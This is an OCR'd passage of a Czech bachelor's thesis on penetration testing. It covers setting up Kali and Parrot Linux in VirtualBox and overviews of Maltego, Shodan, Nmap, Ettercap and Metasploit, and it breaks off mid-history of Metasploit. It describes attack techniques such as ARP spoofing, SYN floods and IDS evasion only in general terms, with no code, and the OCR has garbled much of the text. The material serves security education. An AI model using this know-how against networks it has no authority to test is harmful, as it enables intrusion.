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ANOTACE

Bakaldrskda prdce se zaméruje na ndvrh metodiky a opatieni pro zvySeni bezpecnosti z
hlediska standardniho pouZivini pocitace s operacnim systémem Windows nebo Linux.
V hiavni casti budou predstaveny ndstroje slouZici pro penetracni testovdni zejména
v operacnich systémech Kali Linux a Parrot Linux a typy utokii provddeéné témito ndstroji.
Soucasti prace budou provedené co nejredlnéjsi penetracni testy s cilem provérit a zhodnotit
uroven zabezpeceni. Vystupem prdce bude vytvoreni metodiky a sady opatreni za ucelem

zvySeni bezpecnosti vybranych systémil.
KLiCOVA SLOVA
Penetracni testovani, bezpecnost, Linux,
TITLE
Use of penetration testing to increase the security of computer devices

ANNOTATION

The bachelor's thesis focuses on the design of methodology and measures to increase
security in terms of standard use of computers running Windows or Linux. The main part will
introduce the tools used for penetration testing, especially in the operating systems Kali Linux
and Parrot Linux and the types of attacks performing the tools. The work will include the most
realistic penetration tests tested in order to perform and evaluate the level of security. The
output of the work will be the creation of a methodology and a set of measures to increase the

security of selected systems.
KEYWORDS

Penetration testing, security, Linux,
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Uvop

Informatika je od samého zacatku velmi rychle se rozvijejici obor, z Cehoz vyplyva, ze ne
vzdy bylo dusledné dbano i na bezpeCnosti hrozby s nim spojené. S rdstem pouZzivani

informacnich technologii dochazelo ke stale vét§imu rustu utoka.

Skody, které mize Gtoénik zpasobit, mohou vést ke katastrofalnim nasledkam, které lze
piirovnat k zivelnim katastrofam. Aktudlni pozadavky na zvySovani bezpecnosti a vys§i naroky

na zabezpecenou infrastrukturu me vedly k napsani této bakalarské prace.

Penetracni testy jsou vhodnym zpusobem, jak ptedchazet incidentim, které by mohly mit
negativni nasledky. Jejich hlavnim ukolem je zvySit zabezpeCeni systému nebo eliminovat

ptipadné hrozby.

Bakalarska prace je zameétena na metodiky a opatfeni pro zvyseni bezpeCnosti z hlediska
standardniho pouzivani pocitaCe s operacnim systémem Windows. V ramci teoretické Casti

budou predstaveny nastroje, které je mozné vyuzivat pro penetracni testovani.
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1 LINUX A LINUXOVE DISTRIBUCE

Prvni kapitola je zaméfena na Linux a linuxové distribuce. Distribuce Linuxu piedstavuje
operatni systém, ktery je zaloZeny na linuxovém jadfe. Tento operacni systém ma otevieny
zdrojovy kéd, ktery muzeme libovolné pouzivat, sdilet, kopirovat a také upravovat podle svych
vlastnich potfeb. Rozdil oproti ostatnim operacnim systémum, které nejsou svobodné, je

nutnost striktné dodrzovat veskeré licencni podminky. [26]

Historie Linuxu se datuje od roku 1983, kdy Richard Matthew Stallman zacal vytvaret novy
operatni systém, ktery by vyuzival svobodny a otevieny software. Vysledkem projektu byl
operacni systém GNU. Nasledn€ roku 1990 probihal vyvoj jadra Hurd, ktery me¢l zajistit chod

operacniho systému GNU a zaroven takeé jeho komunikaci s hardwarem. [26]

1. 1 HISTORIE

V roce 1991 zacal Linus Torvalds na univerzité ve finskych Helsinkach tvofit vlastni jadro.
Vyvoj byl podstatné rychlejsi v porovnani s vyvojem jadra Hurd a vysledkem celého projektu
bylo slouCeni jadra Linuxu a operacniho systému GNU. Linus Torvalds se inspiroval
komer¢nim projektem MINIX, jehoz autorem byl Andrew Tanenbaum. Projekt se staval stale
popularnéjsim a zacal ziskavat vétsi pozornost okoli. Soucasné logo Linuxu predstavuje tucridk

Tux, které bylo vytvoteno v roce 1996 na zaklade obrazku od autora Lettry Ewinga. [26]

1. 2 LINUXOVE DISTRIBUCE

Linuxovou distribuci se ozna¢uje spojeni linuxového jadra, dal§ich programu a nastroju. Tim
vznikne komplexni operacni systém. Diky moznosti volného §ifeni najdeme v soucasnosti vice
nez 450 distribuci, které se od sebe mohou lisit balickovacim systémem urenym k instalaci
programu nebo napfiklad naro¢nosti pozadavki na hardware, proto je mozné i na méné

vykonném hardwaru nebo specialnim zafizeni spustit linuxovou distribuci. [11]

Linuxové distribuce, které jsou vhodné pro penetracni testovani, jsou Kali Linux, Parrot OS
a také dals§i alternativni distribuce. Tyto distribuce patii k nejpouzivangjsim a nejvhodnéjsim,

nebot’ uz maji v sobé& fadu pieinstalovanych aplikaci a nastroja. [11]
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1.2.1 KALI LINUX

Jednou ze specializovanych distribuci Linuxu je Kali Linux, ktery je vyvijen spolecnosti
Offensive Security uz od roku 2013. Aktualni verze je 2020.4. Kali Linux je projekt
s otevienym zdrojovym koédem. Tato linuxova distribuce je zalozena na projektu Debian a je

zameétena zejména na penetracni testovani. [31][10]

Jednou z hlavnich vyhod je podrobnd a prehledna dokumentace a také moznost volného
Sifeni a bezplatného uziti. Kali Linux nabizi mozZnost instalace sytému na vyvojovych

jednodeskovych pocitacich jako naptiklad Raspberry Pi. [31]

1.2.2 PARROT OS

Projekt byl zahajen v roce 2013. Aktualni verze je 4.10. Parrot OS je zalozen na projektu
Debian. Je navrzen tak, aby jeho silnou strankou bylo bezpecné soukromé pouzivani. Aplikace
a nastroje, které tento operacni systém zahrnuje, se zabyvaji kybernetickou bezpec¢nosti,
forenzni analyzou, reverznim inzenyrstvim, a nastroje urCené k béznému uziti a vyvoji

softwaru.

Parrot OS disponuje lehkym grafickym prostfednim, které umoziiuje rychlou a plynulou
praci i na star§im zafizeni. Vyhodou je, Ze je moznost vybrat si mezi dvéma verzemi, kdy jedna
je zamé&fena na bezpeCnost a penetracni testovani. Druha verze t€mito néstroji nedisponuje,
a proto je urCena na bézné domaci pouziti, ale je mozné nastroje dodatecn¢ instalovat.

1.2.3 ALTERNATIVNI DISTRIBUCE

Tyto distribuce nejsou tak obvyklé, ale jsou urcené také k penetraénimu testovani.

Mezi alternativni distribuce patfi:

e BlackBox;

e BlackArch;

e Bugtraq;

e Pentoo Linux;

e Fedora Security Lab.
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1. 3 PRIPRAVA A INSTALACE LINUXOVYCH DISTRIBUCI

Nejprve bylo nutné stahnout software VirtualBox, ktery je dostupny pro operacni systémy
typu Windows, Linux, MacOS X a Solaris. U operac¢niho systému Windows bylo nutné potvrdit
dialogova okna, protoze je nutné instalovat dodate¢né periferie, které slouzi pro sitové rozhrani,
tisk a dalsi funkce, které mohou usnadnit praci. Po uspésné instalaci byl software spustén

(Obrazek 1: VirtualBox).

N Oracle WM VirtualBox Sprivce — O X

¢ A R W

Pfedwolby  Import  Exporbowat  Rowy  Pridak

soubor  Pofitad Mapovéda

Welcome to VirtualBox!

The left part of application
window contains global tools and
lists all wirtual machines and
wirtual machine groups an your
compuker, You can impart, add
and create new YMs using
corresponding toolbar buttons,
Yo can popup & koaols of
currently selected element using
corresponding element button,

You can press the F1 key to get
instant help, or visit

ey, virkualbios, org For more
information and latest news,

Obrazek 1: VirtualBox
Zdroj: Viastni zpracovdni

Kali Linux i Parrot OS je mozné stahnout jako ISO soubor. Po stazeni je vhodné zkontrolovat
kontrolni soucet pomoci shal, zda nebylo se souborem manipulovano. Déle je mozné stahnout

uz pripraveny virtualni stroj, ktery 1ze importovat do virtualizacniho softwaru.

Jinou moznosti je vyuzit obraz urCeny pro ARM zatizeni, napiiklad na Raspberry Pi. Pro
instalaci Kali Linux bude vyuzit ISO souboru pro ukazku. Pfi instalaci Parrot OS bude

pouzit pfipraveny virtualni stroj.
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1.3.1 INSTALACE VIRTUALNIHO STROJE KALI LINUX

Pro vytvoreni virtualniho pocitace je zapotiebi zadat jeho jméno, typ a verzi (viz

Obrazek 2: Nazev a zvoleni operac¢niho systému).

Vytvofeni virtualniho poditade

Mazew a operadni systém

Flease choose a descriptive name and destination Folder For the new wvirtual
machine and select the tvpe of operating swskem wou inkend to install on ik,
The name wou choose will be used throughout YirtualBox to identify this
machines,

Mame: |Kali Lirnaz

Machine Faolder: | ChUsers)Michal\virtualBox Wiis

Twp: | Linux =

~
JIE

Werze: |Debian {64-bit) =

Expertni regim ZruEit

Obrazek 2: Nazev a zvoleni operac¢niho systému
Zdroj: Viastni zpracovdni

Po vyplnéni nazvu je ptidana nejvyssi hodnota RAM paméti, kterou si muze virtualni stroj
alokovat. Nasleduje dialogové okno pro vytvoreni virtudlniho disku, jenz bude slouzit

k instalaci systému. Z ruznych typu disku byl zvolen vychozi (viz Obrazek 3: Typ souboru s

pevnym diskem).

Wytvofenivirtudlniho pevného disku

Typ souboru s peviym diskern

Zvolte prosim soubor, kbery budete chiit pousit pro novy virtualni pevny disk, Pokud jej
méte ji£ wybvoFen jinym virtualizacnim software, miZete tokto nastaveni nechat beze zmény.

(®) YOI (WirtualBox Disk Image)
() WHD {¥irtual Hard Disk)

() ¥MDK (virtual Machine Disk)

Expertni reZim Zrusit

Obrazek 3: Typ souboru s pevnym diskem
Zdroj: Viastni zpracovdni

15



Bylo zvoleno pevné ulozisté pro zajisténi rychlejsi odezvy systému, nebot’ dynamicky typ

postupné alokuje disk az do maximalni hodnoty. Poslednim krokem k vytvoreni Sablony je

volba umisténi diskového souboru a tim je uspesn€ vytvoren virtualni stroj (viz Obrazek 4:

Virtualni stroj Kali Linux).

\‘j Oracle W VirtualBox Spravee
Soubor  Pofitai  Mapowvéda
R
HBE toots

it

Movy  Masktaveni
Obecné

Mame:

| Operadni systém:

Zahodit  Spustit
[=] Nahled

Kali Linus
Debian (64-bit)

=] systém
Operaini pamst’ 2048 MEB - il
Foradi pii bootovani:  Disketa, Optické, Pevng Kali Linux
isk.
akeelsrace: Y- AMD-Y, PPy
pristup k hardware, K¥M
paravirtualizace
(™ pisplay
Wideo pamst’: 16 ME
Graphics Controller:  WMSWGA
veddleny server: Disabled
Recording: Disabled
UOloZizte
Fadi&: IDE B
_IDE sekundarni master:  [Opticky disk] Zadry
Radic: SATA
SATA port O Kali Linux. wdi {Normalni, 8,00 GE)
o Zvuk

Crvladad hostitsle:
Fadit:

& si

wWindows DirectSound
ICH AC97

Karta 1@ Intel PROJLO00 MT Deskiop (MAT)

5 use

USE Controller:  OHCI, EHCI
Filtry zafizeni: 0 (0 akkivni)

[l Sdilené slozky

Mone
& Popis

Mone

Obrazek 4: Virtualni stroj Kali Linux

Zdroj: Viastni zpracovdni

Pti spusténi Sablony Kali Linux se zobrazi nabidka pro vlozeni ISO disku, kde je nutné zadat

spravnou cestu k danému souboru. Po uspésném zavedeni systému se zobrazi pruvodce

instalace. V prvnim kroku se nastavi jazyk (e$tina), umisténi (Ceska republika) a rozlozeni

klavesnice.

Pro identifikaci pocitace v siti je nutné ho pojmenovat (viz Obrazek 5: JIméno v siti). Nasleduje

vyplnéni domény, ktera zastane prazdna, protoze k GCelu bakalafské prace neni potieba pridat

pocitaC k doméng.

Nastavit sit

Zadejte jméno tohoto poditace.

Jméno poditace je jednoslovny nazev, ktery identifikuje vas systém v siti. Pokud neznate nazev svého
poiitace, zeptejte se svého sitového spravce. Jestlize stavite domaci sit, mizete si vymyslet téméi cokoliv.

Jméno pocitace:

[xatil

Obrazek 5: Jméno v siti

Zdroj: Viastni zpracovdni
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Vyplnime jméno uzivatele, uctu a heslo, které slouzi k ptihlasovani do systému. V zavéru se
voli jednotka, na niz se systém instaluje. Pro zjednodu$eni bude pouzito asistované rozd¢leni.
Zvolime disk a nastaveni, ze vS§echny soubory budou v jedné oblasti. Ukon¢ime rozdéleni disku

a potvrdi se vSechny potifebné zmeény (viz Obrazek 6: Rozdéleni disku).

Rozdélit disky

Toto je pfehled aktudiné nakonfigurovanych oblasti a pfipajnych bodd. Viyberte oblast pro zménu jejiho nastaveni

(souborovy systém, pripojny bod, atd.). volné misto pro vytvoreni novych oblasti, nebo celé zafizeni pro vytvoreni tabulky
oblasti,

Asistované rozdéleni

Nastavit softwarovy RAID

Nastavit manazer logickych svazkii (LVM)
MNastavit sSifrované svazky

MNastavit iISCSI svazky

~ SCSI1 (0,0,0) (sda) - 8.6 GB ATA VBOX HARDDISK
> 1. primarni 7.6GB f extd4 !

> 5. logicka 1.0 GB f swap swap

Vratit zpét zmény provedené na oblastech

Ukoncit rozdélovani a zapsat zmény na disk

Obrazek 6: Rozdéleni disku

Zdroj: Viastni zpracovdni

17



1. 3.2 INSTALACE VIRTUALNIHO STROJE PARROT OS

Pro instalaci Parrot OS do VirtualBoxu byl pouzit predpfipraveny soubor s celym operacnim
systémem. Tento soubor je pfipraven pifimo od vyrobce k importovani do virtualizacniho

nastroje (viz Obrazek 7: Importovani Parrot OS).
¥

]Js_h-‘_! ey T O

1 o S P

Mowy  Mastaveni  Zahodit  Spustit

Import virtualni appliance

Mastaveni pro applianci

Zde jsou virtualni poditade s doporucenym mapovanim pro import do YirkualBoxu, YetSinu kéchto viastnosti mizete zmeénit poklepanim na
poloZky a zakazat jiné pomod zaskrtavacich tladitek nige.

Wirtualni systérn 1 £

£9 Nizev Parrot Security

"é) Produkt Parrot 0% Security Edition

';%) IRL produkty https:ffparrotsec.org

'%' Wrobce Parrot Security CIC

@ URL na wyrobce https:/fparrotsec.org

&) verze 410

HH oshosts @ Debian (64-bit)

{4 cpu 4

& ran 4096 MB

@ DvD

£5 USB fadit

(0 Zuukovs karta ICH ACO7
- | R [ Livkal DR NN AT D cletnm (02 SANERAY X
Machine Base Folder: | Ci\UsersiMichallirtualBox: Yis| w
MAC Address Palicy: | Inchide only NAT network adapter MaC addresses -

Additional Options: Import hard drives as VDI

appliance is not signed

Cbnovit wychozi Zruzit

Obrazek 7: Importovani Parrot OS
Zdroj: Viastni zpracovdni

Po uspésném importu je mozné virtualni stroj spustit. Timto krokem se vyhneme ru¢ni

instalaci, jako to bylo v ptipadé€ instalace Kali Linux (viz Obrazek 4: Virtuélni stroj Kali Linux).
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V porovnani s prvni variantou instalace je import pfedem vytvorené¢ho obrazu od vyrobce
rychlejsi a méné narocny. Obrazek znazoriiuje oba operacni systémy uspé$né nainstalované (viz

Obrazek 8: Usp&sna instalace Kali Linux a Parrot OS Security).

¥ Oracle WM VirtualBox Spravee = O X

Soubor  Poditad Mapovéda

O\

[ e . S s

Mowy  Mastaweni  Zahodit  Spusti

B, Kali Linus @ Obecné @ Nahled
f J ‘@ Wypnuto Marmne: Parrok Security

Operacni syském:  Debian (64-bit)

rrot Security |E| Systém

E Operacni pamét's 4096 ME _
Protasiing: 4 Parrot Security
Poiadi pfi booktowvani:  Disketa, Optické, Pevny disk
Akcelerace: YT-x/AMD-Y, Pfimy pFistup k hardware, PAE[IY,

KM paravirtualizace
Display
Yideo pamét’ 128 MB
Graphics Controller:  WMSYGA
Akcelerace: 3D
Yedaleny server: Disabled
Recaording: Disabled
Gl Oozizee
Radié: IDE y
IDE sekundarni master:  [Opticky disk] Zadny
Fadif: SATA
SATA port 0t Parrot Security 4, 10-disk001 wdi (Mormalni, 80,00 GE)

'I'[)D 2vuk
Cradad hostitele:  windows DirectSound
Fadic: ICH ACS7
B St

karta 1:  Intel PROJS1000 MT Deskiop (MAT)
(7 uss

UsE Controller:  QHCI, EHCI
Filtry zafizeni: 0 {0 akkivni)

] sdilené slozky
Mone
';%' Popis

Mone

Obrazek 8: Uspé&ina instalace Kali Linux a Parrot OS Security
Zdroj: Viastni zpracovdni

1. 4 DILCI SHRNUTI

Pro zpracovani bakalafské prace jsem se zamé&fil na operacni systém Linux, protoze s timto
prostfedim mam osobni zkuSenost, tim padem 1 predstavu o principu jeho fungovani. Linuxové
distribuce dokéazou byt uzce specializované. Diky tomu si dokazeme pro kazdou nasi potiebu
najit vhodné zvolenou distribuci. Proto je Linux nejpouzivanéjsi v serverovém provedeni, kde

predstavuje dulezitou soucast internetu.

19




Pro penetracni testovani jsou linuxové distribuce Parrot OS a Kali Linux nejlep$i volbou,
protoze maji v sob& skryté nastroje, které se nemusi v ostatnich operaCnich systémech

vyskytovat, anebo se musi slozit€ instalovat.

Pro testovani je vhodné pouzit virtualizaci, diky niz nemusi zasahovat do skute¢ného

systému a tim nemusime mit strach o ztratu dat a systém.
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2 PENETRACNI TESTOVANI

Jednim z mnoha davodi, pro€ vyuzivat moznosti penetracniho testovani, je napfiklad
zvySeni bezpeCnosti. PenetraCni testovani nam poméha nalézt slabiny a eliminovat hrozby,
které nejsou na prvni pohled vidét. Muze se jednat napiiklad o zastaralé sluzby, chyby

v nastaveni nebo chyby uzivatelu.

Bakalarska prace je zameéfena na penetrani testovani v oblasti zvySeni bezpeCnosti
pocitaovych zafizeni. Kazdy uzivatel se muze setkat s penetracnim testem védome, nebo
nevédomé. Mezi Casté utoky patii podvrzené e-mailové zpravy, weboveé sluzby a rizné zpusoby

malwaru, které sbiraji o uzivatelich citlivé informace, nebo znepftijemnuji jejich praci.

Cilem této prace je navrhnout metodiky a opatieni pro zvySeni bezpecnosti z hlediska

standardniho pouzivani PC s opera¢nim systémem Windows nebo Linux.

2.1 KDO JE UTOCNIK

V piipadé€, Ze je na utoCnika pohlizeno jako na pocitatového zaskodnika, je oznacovan pod
pojmem hacker. Velmi dualezité je odliSovat uto¢niky, ktefi maji dobry amysl, od Gtocnikt se
zlym umyslem. V pfipad€, ze mé uto¢nik dobré umysly, je oznaCovan jako White Hat.
V ptipadé, ze ma zIé umysly, je oznaCovan jako Black Hat. Existuje i kombinace mezi Black

Hat a White Hat — takzvany Grey Hat neboli Sedy klobouk. [32] [30]
Black Hat

Black Hat je oznaceni typické pro ,,zI¢ho uto¢nika®, ktery chce umyslné poskodit pocitacovy
systém. Zaskodnik se snazi s vyuzitim riznych druht utoka nalézt nedostatky v zabezpeCeni
pocitaCového systému. Pokud je Black Hat nalezen, pokousi se dané trhliny zneuzit. Jeho cilem

je zneuziti slabin ve sviyj vlastni prospéch. [4]
White Hat

White Hat je oznaleni typické pro ,,dobrého uto¢nika“. Tato osoba se zameéruje v ramci
testovani na zabezpeceni urcitého systému. Hlavnim cilem dobrého uto¢nika je nalézt slaba
mista v zabezpecCeni urcitého systému a tim 1 poskytnout zp€tnou vazbu testovanému subjektu,
aby bylo mozné nedostatky napravit. Od Black Hat se li§i pfedevsim tim, ze nevyuZziva zjisténé

slabiny ve svij vlastni prospéch, je tedy jeho protikladem. [4]
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Grey Hat

Grey hat je kombinaci Black Hat a White Hat. Cracker si mUze prohlizet internetové stranky
a tim proniknout do urcitého pocitaCového systému, aby poskytl informace administratorovi
o tom, ze jeho systém byl napaden. Nastava i situace, kdy muze za urcity penézni poplatek

nabidnout opravu chyb, které by mohl pro dany utok vyuzit. [13]

2.2 TYPY PENETRACNICH TESTU

Jednotlivé typy penetracnich testu se lisi v zavislosti na tom, z jakého mista je utok veden,
nebo jestli se jednd o interni nebo externi test, a také podle toho, jaké informace ma utoc¢nik
k dispozici. Proto se testy deli podle pozice uto¢nika, podle miry znalosti systému nebo

aplikace. [20]

Podle pozice uto¢nika [20]:

¢ [Externi test

Jedna se o typ testu, jenz je provadén predevsim z vnéjsi sité, tedy z internetu. To znamena,

ze utoCnikem muze byt kdokoli, kdo ma pfistup k internetu.
e Interni test
Simuluje utok z vnitini sité. Je velmi dalezité si uvédomit, ze do vnitini sité se muze Gtocnik
dostat prolomenim ochrany naptiklad firewall nebo socialnim inZenyrstvim.

Podle miry znalosti systému nebo aplikace [20]:

e Black box

Na pocatku uto¢nik nemd zadné informace o aplikaci, systému nebo infrastruktufe, proto se
prvni faze Uto¢nika zabyva sbérem veskerych informaci o cilovém subjektu. Udaje, které maze
uto¢nik pred sbérem informaci znat, jsou informace z vefejnych zdroji, napf. domény, vefejna

IP adresa nebo udaje zjisténé pomoci internetovych vyhledavacu.
e  White box

Uto¢nik ma vesSkerou znalost o fungovani systému, aplikaci a infrastrukture. Jedna se

o bezpecnostni analytiky, ktefi pracuji pro danou spolecnost.
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e Grey box

Predstavuje kombinaci Black box a White box. Tester CasteCn€ zna systémy a potiebnou
dokumentaci. Naptiklad se mize jednat o byvalého zaméstnance firmy, ktery byl seznamen
s infrastrukturou, nebo o soucasného zaméstnance nebo testera, ktery ma snadny pristup k Casti

dokumentace infrastruktury.

2.3 PRUBEH TESTU

Jednotlivymi prubé&hy testu se zabyvaji rizné metodiky. Existuji i popisy prabéhu testt, které
je mozné pouzit bez metodiky.

Naplanovani testu

V ramci prvni faze je zapotiebi dofesit urCité organizacni zélezitosti. V ramci této ¢asti jsou
vytyCeny a vyobrazeny hlavni cile testovani. Existuje moznost, ze tester bude mit k dispozici
zdrojové kody aplikace. [25]

Za predpokladu automatizovanych testu je nutné vybrat nastroje, které poté budou pouzity.
Znaény vyznam ma efektivita nastroje, na niz je kladen velky daraz, protoze ¢im je nastroj

efektivngjsi, tim vétsi je pravdépodobnost, ze pokryje potencialni hrozby. [25]
Sbér informaci

Soucasti této faze je potiebné ziskani dostate¢ného mnozstvi materialu o objektu, ktery bude
testovany. Mnozstvi informaci se lisi podle typu testu. Jednotlivé typy testu jsou zminény vyse,

jedna se o White-box, Grey-box a Black-box. [25]

Jednotlivé informace je mozné ziskat z vefejnych zdroju, kde jsou volné dostupné, nebo je

také mozné obstarat je pfimou interakci s objektem, ktery bude testovany. [25]
Testovani

V prabéhu testd se kazdy tester zamétuje na jednotlivé cile. Kazdy cil je potieba detailné

prozkoumat pomoci zvolenych nastroji. [25]

V ptipad¢, Zze dochazi k nalezeni potencialni hrozby, nasleduje dalSi série testd
k detailn€j§imu prozkoumani. Podstatné je, aby nedoslo k naruseni stability aplikace a také aby
uzivatelskd hesla nebyla vystavena riziku. V pripad¢, ze testerovi uspésné odhali citlivé udaje,

nemély by byt zanaSené a zminé€né v ramci zavérecného reportu. [25]
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Vysledky testovani

Posledni fazi je celkové posouzeni a shruti jednotlivych vysledkt testovani. V této Casti se
sepisuje report. Tato faze je urCena k prezentovani jednotlivych vystupt zadavateli. V ramci
této Casti jsou navrzeny takové kroky a postupy, aby vedly ke zvySeni bezpecnosti objektu,

ktery byl pfedmé&tem testovani. [25]

2. 4 DILCI SHRNUTI

Cilem této kapitoly bylo seznadmit se s problematikou penetrac¢niho testovani a také s typy
Gtodnikd, ktefd za Gtoky stoji. Utoénik neni &lovek, ktery déla jen ilegalni &innost, ale i osoba,
kterd zdokonaluje veskeré bezpeCnostni systémy ve spolecnostech a tim chrani jak nase data,

tak 1 data spoleCnosti.

Cilem penetranich testt je vyhledat slabiny v systému a potencialni hrozby, a to za uCelem

zvyseni bezpecnosti a zabranéni zaskodnikovi systém napadnout a prevzit kontrolu.

Bakalarska prace se zaméfuje na interni testy, protoZze budeme znat infrastruktury
jednotlivych siti 1 systému. Mohlo by se jednat o GtoCnika, ktery by mél fyzicky pfistup

k pocitaci.

24



3 NASTROJE URCENE PRO PENETRACNI TESTOVANI

Tato Cast bakalatské prace bude zamétena na nastroje, které jsou pouzivané pro penetracni
testovani a jejichz cilem je usnadnit rutinni €innosti. VSechny nastroje, které budou pouzity,
jsou volné dostupné a Sititelné. Blize predstavené prostfedky jsou jedny z nejznaméjSich,

a proto lze najit podrobné vysvétleni, jak s nimi pracovat.

3.1 MALTEGO

Prvni zminka o tomto ndstroji je z knihy, ktera byla vydéana roku 2007. Vydani se zabyva
nastroji open-source, které jsou ur¢ené k penetratnimu testovani. V této knize autor popisuje,
ze je mozné vyuzit Maltego jako desktopovou aplikaci, kterd disponuje grafickym
uzivatelskym rozhranim, nebo je mozné ho vyuzit na webové strance organizace Paterva, ktera
za celym projektem Maltego stoji. Od webové verze bylo poté upusténo a v souCasnosti

poskytuje program pouze desktopové rozhrani. [17]

Jedna se o nastroj, ktery je predstavovan z kategorie Open — source inteligence. Maltego
popisuje sadu urcitych technik, nastroju a postupd, kdy z bé€zné vefejné dostupné informace
ziska konkrétni a urcitou zpravu. Dané informace se vztahuji k urcité entité, jako je naptiklad

e-mailova adresa nebo IP adresa a také k modelovani relaci mezi t€émito informacemi. [17]

Velkou vyhodou té€chto nastroju je, ze uSetii velké mnozstvi ¢asu a usili, protoze namaha,
kterou by musel penetracni tester vyvinout v pfipad¢, ze by takovy typ informaci chtél ziskat
ruén€, je vys§i v porovnani s pouzitim nastroje, ktery pochazi z kategorie Open — source

inteligence. [17]

Jedna z publikaci autora Danny Bradburyho zminuje prakticky piiklad, kdy je mozné
Maltego vyuzit. Pii ukéazce jeho schopnosti byla objevena fotka modelky, kterd obsahovalai jeji
jméno. Nad jejim jménem poté byly spustény transformy, které Maltego poskytuje. Pozdéji
Maltego prezentovalo informace, jako jsou adresy, fotky nebo telefonni ¢isla. [17]

Jelikoz je Maltego nastroj s grafickym uzivatelskym rozhranim, je prace s nim snazsi
v porovnani s nastroji, které jsou orientovany na ptikazovy radek. Maltego mé dva zakladni
stavebni kameny. Prvnim z nich je entita a druhym je transforms. [17]

Entitou jsou chapany informace, které uzivatel zadava a o¢ekava, ze budou zji§téna urcita
dodate¢na data k tém, ktera zadal, a zaroveri 1 informace, které jsou zjisténé nastrojem Maltego

pomoci transforms. [17]
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Maltego umoziiuje vesSkeré zpravy, které zjistil, vyobrazit v pifehledném grafu entit.
V grafické interpretaci je moznost snadného pohybu a pro lepsi orientaci je mozné v pravém

hornim okn¢ zobrazit graf v mensi podob¢.

3.2 SHODAN

Prvni zminka o Shodanu byla na konferenci o bezpeCnosti ve svété¢ a informacnich
technologiich z roku 2010. Pouziti néstroje Shodan na praktickych ptikladech popsal Michael
Schearer, kdy hlavni myslenky jeho prezentace byly shrnuty do zpravy. [27]

Nastroj Shodan funguje podobné jako internetové prohlizece, které postupné prochazeji
jednotlivé webové stranky. Tento nastroj ale nesbira jednotlivé informace z webovych stranek,
ale z periférii, jako jsou kamery tiskarny nebo servery, které komunikuji po siti. Shodan je
schopen objevit 1 systémy, které jsou zabezpeCené a vyuzivaji se naptiklad k fizeni svételné
signalizace na kiizovatkach. Vysledky vyhledavani poté tento néstroj uchovava v databazi, ve

které je mohou poté uzivatelé vyhledavat. [27]

3.3 NMAP

Tento nazev vznikl spojenim dvou slov network a mapper. Prvni zminka o Nmap se objevila
v druhé poloving devadesatych let minulého stoleti. Byl to nastroj, ktery slouzil ke scanovéni
portd. V dnes$ni dobé se z malého nastroje stal velmi komplexni nastroj, ktery ma v sobé

zabudovan spoustu dopliku, jako je skriptovani. [18]

Soucasti tohoto nastroje muze byt i grafické rozhrani, které je prehlednéjsi nez vypis
v prikazovém fadku. Jedna se o jediny ze sitovych scannert, ktery ma jasnou a piehlednou vizi
pro vyvoj v budoucnosti. Autor tohoto nastroje je Gordon Lyon, ktery také napsal nejobsahlejsi

a zaroveni 1 nejpodrobngjsi prirucku uréenou ptimo k tomuto nastroji. [18]

Autofti Engbertson a Broad ve své publikaci zastavaji nazor, ze v ptipad¢€, Ze by st méli vybrat
pouze jeden nastroj ze vSech moznych sitovych scannert, byl by to pravé Nmap. Je to z toho

divodu, ze Nmap disponuje obrovskym mnozstvim moznosti a také zptsobu vyuziti. [6]

Na oficialni strance néstroje Nmap je uveden detailni popis schopnosti, které Nmap

umoziiuje.
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Jednou z funkci jsou zpusoby pro zjiSténi dostupnosti zarizeni hosta [24]:

e TCP SYN/ACK,

e UDP,
e SCTP,
e ICMP echo,

e ICMP timestamp,
e ICMP netmask,

e protocol ping,

e arp ping.

DalSi funkci jsou zpusoby vyhledavani sluzeb, které host pouziva a k nimz je pripojen

[24]:

e TCP SYN,
o TCP,
o ACK

2

e Maimon,
e UDP.

Déle je mozné zjistit operacni systém hosta, protoze Nmap umoziiuje detekci opera¢niho
systému. Vyhodou je, Ze nastroj poskytuje vystupni format do XML dokumentu. Nmap
umoziuje pouzivat skripty, které usnadni praci, a také skenuje, zda dany host trpi zranitelnosti

a umi oklamat Firewall a IDS systémy.

V neposledni fad€ 1ze nastroj mozné pouzit pro benchmark sité a porovnani téchto vysledku.

3.4 ETTERCAP

Nastroj slouzi k manipulaci sitového provozu a k odposlechu na ndvazna spojeni. Disponuje
velkym mnozstvim riznych zasuvnych modult a je vybaven grafickym rozhranim, které je pro

uzivatele ve srovnani s piikazovym fadkem vhodné&jsi.
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Publikace Hacking exposed definuje tento nastroj jako prostiedek, s jehoz pomoci je mozné
pocitaCovou sit’, ktera je zalozena na vice prepinacich, prinutit ke zmeéné chovani. Hlavni zména
chovani je takova, ze sit’ z pohledu uto¢nika vypada, jako by jejim centrdlnim prvkem nebyl
switch, ale hub. Tento cil plni tim, Ze je schopen ovlivnit chovani individualnich klientskych
stanic, nikoli jednotlivych aktivnich prvka switche. Tento druh techniky se nazyva ARP

spoofing. [17]

ARP spoofing je zalozena na rozesilani podvrZzenych dat a nevyzadanych ramci ARP
protokolu, které piijemce zahlti podvrzenymi kombinacemi IP adres a také MAC adres

vzhledem k témto IP adresam. [17]

Jednou ze schopnosti Ettercap je moznost pouziti zasuvnych modult a poskytnuti tak
rozsifeni funkcionality. Je mozné pfijit do styku s moduly, které provadi utoky na transportni
vrstvé ISO/OSI modelu, jako je naptiklad SYN flood attack. Dostupné jsou i moduly urcené
k prohledéavani sit€ a spojenich, kterd na této siti existuji. Napovedu k nastroji je mozné ziskat

v ptikazové fadce pomoci piikazu man8 ettercap.

3.5 METASPLOIT

Jedné se o bezplatny software. Tento software dnes obsahuje velké mnozstvi nastaveni,
nastroju a raznych kombinaci mezi nimi. Existuje komunitni verze, ktera je zcela zdarma, ale
také 1 placena verze. Nejedna se pouze o jeden prostiedek, ale o framework, tudiz umoziiuje
Sirokou Skalu upravy exploitd. Ty je pot€é mozné pouzit pro penetraCni testovani, lze fict, ze

Metasploit je databaze zranitelnosti, kterou lze pouzit proti obéti.
Historie

Sitovy nastroj Metasploit vytvofil v roce 2003, programator H. D. Moore v prabéhu své
prace ve spoleCnosti zaméfené na bezpecnost v oblasti pocitaci. Ve chvili, kdy si H. D. Moore
uvédomil, jak moc Casu travi kontrolou a upravou exploitt, u¢inil rozhodnuti, ze vytvori
flexibilni framework. Ten byl naprogramovany v jazyce PERL, ktery slouzi k tvorb& a uprave

exploitd. [14]

Prvni verze Metasploit se datuje od roku 2003. V dubnu 2004 vysla nova verze Metasploit
2.0, ktera v sobé zahrnovala celkem 19 exploitl a vice nez 27 Payload. Po urcité dobé se
